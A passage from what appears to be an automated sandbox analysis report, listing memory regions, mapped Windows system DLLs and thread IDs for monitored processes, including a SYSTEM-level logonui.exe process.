0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 4426 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4427 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4428 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4429 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 4430 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4431 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4432 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4433 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5255 start_va = 0x2a70000 end_va = 0x2a81fff monitored = 0 entry_point = 0x2a71bd8 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 5363 start_va = 0x6740000 end_va = 0x6807fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 5364 start_va = 0x6740000 end_va = 0x6807fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 5365 start_va = 0x2a70000 end_va = 0x2a70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basebrd.dll.mui" filename = "\\Windows\\Branding\\Basebrd\\en-US\\basebrd.dll.mui" (normalized: "c:\\windows\\branding\\basebrd\\en-us\\basebrd.dll.mui") Region: id = 5366 start_va = 0x2a80000 end_va = 0x2a98fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 5367 start_va = 0x2a70000 end_va = 0x2a92fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a70000" filename = "" Region: id = 5368 start_va = 0x67d0000 end_va = 0x684ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000067d0000" filename = "" Region: id = 5369 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 5370 start_va = 0x2aa0000 end_va = 0x2aa3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 5371 start_va = 0x2ab0000 end_va = 0x2ab3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 5372 start_va = 0x3980000 end_va = 0x399bfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000b.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db") Thread: id = 456 os_tid = 0x9f8 Thread: id = 457 os_tid = 0x9a8 Thread: id = 458 os_tid = 0x99c Thread: id = 459 os_tid = 0x688 Thread: id = 460 os_tid = 0x4e0 Thread: id = 461 os_tid = 0x398 Thread: id = 462 os_tid = 0x264 Thread: id = 463 os_tid = 0x654 Thread: id = 464 os_tid = 0x714 Thread: id = 465 os_tid = 0x718 Thread: id = 466 os_tid = 0x708 Thread: id = 467 os_tid = 0x6fc Thread: id = 468 os_tid = 0x6f0 Thread: id = 469 os_tid = 0x704 Thread: id = 470 os_tid = 0x690 Thread: id = 471 os_tid = 0x428 Thread: id = 472 os_tid = 0x670 Thread: id = 473 os_tid = 0x270 Thread: id = 474 os_tid = 0x658 Thread: id = 475 os_tid = 0x350 Thread: id = 476 os_tid = 0x7f8 Thread: id = 477 os_tid = 0x7ec Thread: id = 478 os_tid = 0x7e8 Thread: id = 479 os_tid = 0x7e4 Thread: id = 480 os_tid = 0x7e0 Thread: id = 481 os_tid = 0x7dc Thread: id = 482 os_tid = 0x7c4 Thread: id = 483 os_tid = 0x7bc Thread: id = 484 os_tid = 0x7b4 Thread: id = 485 os_tid = 0x7b0 Thread: id = 486 os_tid = 0x7ac Thread: id = 487 os_tid = 0x7a8 Thread: id = 488 os_tid = 0x7a4 Thread: id = 489 os_tid = 0x79c Thread: id = 490 os_tid = 0x798 Thread: id = 491 os_tid = 0x790 Thread: id = 492 os_tid = 0x780 Thread: id = 515 os_tid = 0xb64 Process: id = "33" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0x2993d000" os_pid = "0xb88" os_integrity_level = "0x4000" os_privileges = "0x60b16000" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x1a8" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 5398 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5399 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5400 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5401 start_va = 0x40000 end_va = 0x41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5402 start_va = 0x50000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5403 start_va = 0x80000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 5404 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 5405 start_va = 0x190000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 5406 start_va = 0x210000 end_va = 0x276fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5407 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 5408 start_va = 0x290000 end_va = 0x290fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 5409 start_va = 0x2a0000 end_va = 0x2a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 5410 start_va = 0x2b0000 end_va = 0x2b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 5411 start_va = 0x2c0000 end_va = 0x2c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 5412 start_va = 0x2d0000 end_va = 0x2d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 5413 start_va = 0x2e0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5414 start_va = 0x320000 end_va = 0x326fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "authui.dll.mui" filename = "\\Windows\\System32\\en-US\\authui.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\authui.dll.mui") Region: id = 5415 start_va = 0x330000 end_va = 0x331fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 5416 start_va = 0x340000 end_va = 0x34cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 5417 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 5418 start_va = 0x360000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 5419 start_va = 0x460000 end_va = 0x5e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 5420 start_va = 0x5f0000 end_va = 0x770fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 5421 start_va = 0x780000 end_va = 0x780fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 5422 start_va = 0x790000 end_va = 0x790fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 5423 start_va = 0x7a0000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 5424 start_va = 0x7b0000 end_va = 0x7b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 5425 start_va = 0x7c0000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 5426 start_va = 0x7d0000 end_va = 0x7d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 5427 start_va = 0x7e0000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 5428 start_va = 0x7f0000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 5429 start_va = 0x800000 end_va = 0x800fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 5430 start_va = 0x810000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 5431 start_va = 0x890000 end_va = 0x96efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 5432 start_va = 0x970000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 5433 start_va = 0x980000 end_va = 0x980fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 5434 start_va = 0x990000 end_va = 0x990fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 5435 start_va = 0x9a0000 end_va = 0x9a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 5436 start_va = 0x9b0000 end_va = 0x9b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 5437 start_va = 0x9c0000 end_va = 0x9c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 5438 start_va = 0x9d0000 end_va = 0x9d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 5439 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 5440 start_va = 0x9f0000 end_va = 0x9f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 5441 start_va = 0xa00000 end_va = 0xa00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 5442 start_va = 0xa10000 end_va = 0xa10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 5443 start_va = 0xa20000 end_va = 0xa20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 5444 start_va = 0xa30000 end_va = 0xa30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 5445 start_va = 0xa40000 end_va = 0xa40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 5446 start_va = 0xa50000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 5447 start_va = 0xad0000 end_va = 0xad0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 5448 start_va = 0xae0000 end_va = 0xae0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 5449 start_va = 0xaf0000 end_va = 0xaf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 5450 start_va = 0xb00000 end_va = 0xb00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 5451 start_va = 0xb10000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 5452 start_va = 0xb20000 end_va = 0xb20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 5453 start_va = 0xb30000 end_va = 0xb30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 5454 start_va = 0xb40000 end_va = 0xb40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 5455 start_va = 0xb50000 end_va = 0xb50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 5456 start_va = 0xb60000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 5457 start_va = 0xb70000 end_va = 0xb70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 5458 start_va = 0xb80000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 5459 start_va = 0xb90000 end_va = 0xb90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 5460 start_va = 0xba0000 end_va = 0xba0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 5461 start_va = 0xbb0000 end_va = 0xbb6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 5462 start_va = 0xbc0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 5463 start_va = 0xbd0000 end_va = 0xe9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5464 start_va = 0xea0000 end_va = 0xea9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 5465 start_va = 0xeb0000 end_va = 0xeb6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 5466 start_va = 0xec0000 end_va = 0xec9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 5467 start_va = 0xed0000 end_va = 0xef3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 5468 start_va = 0xf00000 end_va = 0xf06fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 5469 start_va = 0xf10000 end_va = 0xf19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 5470 start_va = 0xf20000 end_va = 0xf26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 5471 start_va = 0xf30000 end_va = 0xf39fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 5472 start_va = 0xf40000 end_va = 0xf40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 5473 start_va = 0xf50000 end_va = 0xf50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 5474 start_va = 0xf60000 end_va = 0xf60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 5475 start_va = 0xf70000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 5476 start_va = 0xff0000 end_va = 0x10effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 5477 start_va = 0x10f0000 end_va = 0x1127fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 5478 start_va = 0x1130000 end_va = 0x1130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 5479 start_va = 0x1140000 end_va = 0x1140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 5480 start_va = 0x1150000 end_va = 0x1151fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 5481 start_va = 0x1160000 end_va = 0x1160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 5482 start_va = 0x1170000 end_va = 0x1171fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 5483 start_va = 0x1180000 end_va = 0x1180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001180000" filename = "" Region: id = 5484 start_va = 0x1190000 end_va = 0x1191fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001190000" filename = "" Region: id = 5485 start_va = 0x11a0000 end_va = 0x11a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011a0000" filename = "" Region: id = 5486 start_va = 0x11b0000 end_va = 0x11b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011b0000" filename = "" Region: id = 5487 start_va = 0x11c0000 end_va = 0x11c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011c0000" filename = "" Region: id = 5488 start_va = 0x11d0000 end_va = 0x11d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011d0000" filename = "" Region: id = 5489 start_va = 0x11e0000 end_va = 0x11e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 5490 start_va = 0x11f0000 end_va = 0x11f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 5491 start_va = 0x1200000 end_va = 0x1200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 5492 start_va = 0x1210000 end_va = 0x1210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 5493 start_va = 0x1220000 end_va = 0x1220fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 5494 start_va = 0x1230000 end_va = 0x1230fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001230000" filename = "" Region: id = 5495 start_va = 0x1240000 end_va = 0x1240fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 5496 start_va = 0x1250000 end_va = 0x1250fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001250000" filename = "" Region: id = 5497 start_va = 0x1260000 end_va = 0x1260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 5498 start_va = 0x1270000 end_va = 0x1270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 5499 start_va = 0x1280000 end_va = 0x1280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001280000" filename = "" Region: id = 5500 start_va = 0x1290000 end_va = 0x1290fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 5501 start_va = 0x12a0000 end_va = 0x12a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012a0000" filename = "" Region: id = 5502 start_va = 0x12b0000 end_va = 0x12b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 5503 start_va = 0x12c0000 end_va = 0x12c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 5504 start_va = 0x12d0000 end_va = 0x12d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 5505 start_va = 0x12e0000 end_va = 0x13dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 5506 start_va = 0x13e0000 end_va = 0x2734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 5507 start_va = 0x2740000 end_va = 0x2740fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 5508 start_va = 0x2750000 end_va = 0x2750fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 5509 start_va = 0x2760000 end_va = 0x2771fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 5510 start_va = 0x2780000 end_va = 0x2781fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002780000" filename = "" Region: id = 5511 start_va = 0x2790000 end_va = 0x2791fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002790000" filename = "" Region: id = 5512 start_va = 0x27a0000 end_va = 0x27a2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027a0000" filename = "" Region: id = 5513 start_va = 0x27b0000 end_va = 0x27bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027b0000" filename = "" Region: id = 5514 start_va = 0x27c0000 end_va = 0x287ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 5515 start_va = 0x28c0000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028c0000" filename = "" Region: id = 5516 start_va = 0x2980000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 5517 start_va = 0x2aa0000 end_va = 0x2b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002aa0000" filename = "" Region: id = 5518 start_va = 0x2c70000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 5519 start_va = 0x3160000 end_va = 0x325ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003160000" filename = "" Region: id = 5520 start_va = 0x3260000 end_va = 0x3261fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003260000" filename = "" Region: id = 5521 start_va = 0x3270000 end_va = 0x3761fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003270000" filename = "" Region: id = 5522 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5523 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5524 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5525 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5526 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5527 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5528 start_va = 0xff150000 end_va = 0xff15afff monitored = 0 entry_point = 0xff155c78 region_type = mapped_file name = "logonui.exe" filename = "\\Windows\\System32\\LogonUI.exe" (normalized: "c:\\windows\\system32\\logonui.exe") Region: id = 5529 start_va = 0x7fef2090000 end_va = 0x7fef20f7fff monitored = 0 entry_point = 0x7fef2091070 region_type = mapped_file name = "rasplap.dll" filename = "\\Windows\\System32\\rasplap.dll" (normalized: "c:\\windows\\system32\\rasplap.dll") Region: id = 5530 start_va = 0x7fef2100000 end_va = 0x7fef2133fff monitored = 0 entry_point = 0x7fef21011e0 region_type = mapped_file name = "credui.dll" filename = "\\Windows\\System32\\credui.dll" (normalized: "c:\\windows\\system32\\credui.dll") Region: id = 5531 start_va = 0x7fef2d70000 end_va = 0x7fef2d92fff monitored = 0 entry_point = 0x7fef2d74a30 region_type = mapped_file name = "certcredprovider.dll" filename = "\\Windows\\System32\\certCredProvider.dll" (normalized: "c:\\windows\\system32\\certcredprovider.dll") Region: id = 5532 start_va = 0x7fef2da0000 end_va = 0x7fef2db6fff monitored = 0 entry_point = 0x7fef2dad9d4 region_type = mapped_file name = "winbio.dll" filename = "\\Windows\\System32\\winbio.dll" (normalized: "c:\\windows\\system32\\winbio.dll") Region: id = 5533 start_va = 0x7fef2dc0000 end_va = 0x7fef2df1fff monitored = 0 entry_point = 0x7fef2dcfc64 region_type = mapped_file name = "biocredprov.dll" filename = "\\Windows\\System32\\BioCredProv.dll" (normalized: "c:\\windows\\system32\\biocredprov.dll") Region: id = 5534 start_va = 0x7fef2e00000 end_va = 0x7fef2e31fff monitored = 0 entry_point = 0x7fef2e18e58 region_type = mapped_file name = "smartcardcredentialprovider.dll" filename = "\\Windows\\System32\\SmartcardCredentialProvider.dll" (normalized: "c:\\windows\\system32\\smartcardcredentialprovider.dll") Region: id = 5535 start_va = 0x7fef2e40000 end_va = 0x7fef2e57fff monitored = 0 entry_point = 0x7fef2e46274 region_type = mapped_file name = "vaultcredprovider.dll" filename = "\\Windows\\System32\\VaultCredProvider.dll" (normalized: "c:\\windows\\system32\\vaultcredprovider.dll") Region: id = 5536 start_va = 0x7fef4710000 end_va = 0x7fef472bfff monitored = 0 entry_point = 0x7fef47111a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 5537 start_va = 0x7fef4730000 end_va = 0x7fef4791fff monitored = 0 entry_point = 0x7fef4731198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 5538 start_va = 0x7fef9f40000 end_va = 0x7fef9f4dfff monitored = 0 entry_point = 0x7fef9f4726c region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\System32\\vaultcli.dll" (normalized: "c:\\windows\\system32\\vaultcli.dll") Region: id = 5539 start_va = 0x7fefa5f0000 end_va = 0x7fefa5f7fff monitored = 0 entry_point = 0x7fefa5f11a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") 